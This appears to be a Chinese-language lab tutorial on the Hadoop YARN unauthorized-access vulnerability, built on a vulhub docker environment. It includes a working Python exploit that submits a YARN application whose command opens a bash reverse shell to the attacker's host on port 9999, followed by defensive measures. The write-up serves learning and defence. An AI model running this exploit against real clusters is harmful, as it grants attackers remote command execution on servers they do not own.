当前位置: 首页 > news >正文

未授权访问:Hadoop 未授权访问漏洞

目录

1、漏洞原理

2、环境搭建

3、未授权访问

4、通过REST API命令执行

防御手段


今天继续学习各种未授权访问的知识和相关的实操实验,一共有好多篇,内容主要是参考先知社区的一位大佬的关于未授权访问的好文章,还有其他大佬总结好的文章:

这里附上大佬的好文章链接:常见未授权访问漏洞总结 - 先知社区

我在这只是学习大佬总结好的相关的知识和实操实验,那么废话不多说,开整。

第十三篇是关于Hadoop的未授权访问

1、漏洞原理

Hadoop是一个由Apache基金会所开发的分布式系统基础架构,由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。

2、环境搭建

mkdir hadoop
cd hadoop/
wget https://raw.githubusercontent.com/vulhub/vulhub/master/hadoop/unauthorized-yarn/docker-compose.yml
wget https://raw.githubusercontent.com/vulhub/vulhub/master/hadoop/unauthorized-yarn/exploit.py
​
#或者利用DownGit下载https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn
DownGit网址:https://minhaskamal.github.io/DownGit/#/home

docker-compose build && docker-compose up -d #编译并启动环境

3、未授权访问

访问 http://192.168.159.202/cluster

可以看到在没有输入任何口令的情况下未授权访问了

4、通过REST API命令执行

利用过程:

在本地监听端口 >> 创建Application >> 调用Submit Application API提交

本地监听9999端口

EXP:

#!/usr/bin/env python
​
import requests
​
target = 'http://192.168.18.129:8088/'
lhost = '192.168.18.138' # put your local host ip here, and listen at port 9999
​
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {'application-id': app_id,'application-name': 'get-shell','am-container-spec': {'commands': {'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,},},'application-type': 'YARN',
}
requests.post(url, json=data)

执行完成后,再去看攻击机就会看到成功的反弹shell成功了

防御手段

  • -如无必要,关闭 Hadoop Web 管理页面。
  • -开启身份验证,防止未经授权用户访问。
  • -设置“安全组”访问控制策略,将 Hadoop 默认开放的多个端口对公网全部禁止或限制可信任的 IP 地址才能访问包括 50070 以及 WebUI 等相关端口。

到此关于Hadoop未授权访问漏洞的基础知识就学习完了,后面还有很多知识等着我去学习,再见(*^▽^*)

相关文章:

  • 【无标题】yoloV8目标检测与实例分割--目标检测onnx模型部署
  • matlab 使用Otsu方法计算图像全局阈值
  • 线上研讨会 | 探索非标自动化产线行业的数转智改之路
  • 中国企业出海,哪些业务需要负载均衡?
  • 《Ai学习笔记》自然语言处理 (Natural Language Processing):机器阅读理解-基础概念解析01
  • Redis机制-Redis缓存穿透,击穿,雪崩理解等问题的理解和学习
  • Python面试宝典:Python中与数据库连接和操作相关的面试笔试题(1000加面试笔试题助你轻松捕获大厂Offer)
  • 神经网络的工程基础(一)——利用PyTorch实现梯度下降法
  • 基于STM32的自动宠物喂食器的Proteus仿真
  • x的平方根-力扣
  • [7] CUDA之常量内存与纹理内存
  • Java——图书管理系统万字详解(附代码)
  • 树莓派4B 有电但无法启动
  • 几种常用的配置文件格式对比分析——ini、json、xml、toml、yaml
  • 2024年5月20日优雅草蜻蜓API大数据服务中心v2.0.4更新
  • crontab执行失败的多种原因
  • Cumulo 的 ClojureScript 模块已经成型
  • echarts的各种常用效果展示
  • iOS 系统授权开发
  • MaxCompute访问TableStore(OTS) 数据
  • NLPIR语义挖掘平台推动行业大数据应用服务
  • Rancher如何对接Ceph-RBD块存储
  • swift基础之_对象 实例方法 对象方法。
  • Swoft 源码剖析 - 代码自动更新机制
  • 大型网站性能监测、分析与优化常见问题QA
  • 将回调地狱按在地上摩擦的Promise
  • 排序(1):冒泡排序
  • 时间复杂度与空间复杂度分析
  • 我有几个粽子,和一个故事
  • 学习笔记TF060:图像语音结合,看图说话
  • 译有关态射的一切
  • 进程与线程(三)——进程/线程间通信
  • 数据库巡检项
  • ​LeetCode解法汇总2182. 构造限制重复的字符串
  • ‌[AI问答] Auto-sklearn‌ 与 scikit-learn 区别
  • (32位汇编 五)mov/add/sub/and/or/xor/not
  • (day 12)JavaScript学习笔记(数组3)
  • (ZT)出版业改革:该死的死,该生的生
  • (大众金融)SQL server面试题(1)-总销售量最少的3个型号的车及其总销售量
  • (分享)一个图片添加水印的小demo的页面,可自定义样式
  • (附源码)基于SSM多源异构数据关联技术构建智能校园-计算机毕设 64366
  • (回溯) LeetCode 78. 子集
  • (图文详解)小程序AppID申请以及在Hbuilderx中运行
  • .bat批处理(四):路径相关%cd%和%~dp0的区别
  • .bat批处理(一):@echo off
  • .NET / MSBuild 扩展编译时什么时候用 BeforeTargets / AfterTargets 什么时候用 DependsOnTargets?
  • .NET CF命令行调试器MDbg入门(二) 设备模拟器
  • .Net FrameWork总结
  • .Net MVC + EF搭建学生管理系统
  • .NET WebClient 类下载部分文件会错误?可能是解压缩的锅
  • .NET 中的轻量级线程安全
  • .NET开发不可不知、不可不用的辅助类(一)
  • .NET之C#编程:懒汉模式的终结,单例模式的正确打开方式
  • @cacheable 是否缓存成功_让我们来学习学习SpringCache分布式缓存,为什么用?
  • @GlobalLock注解作用与原理解析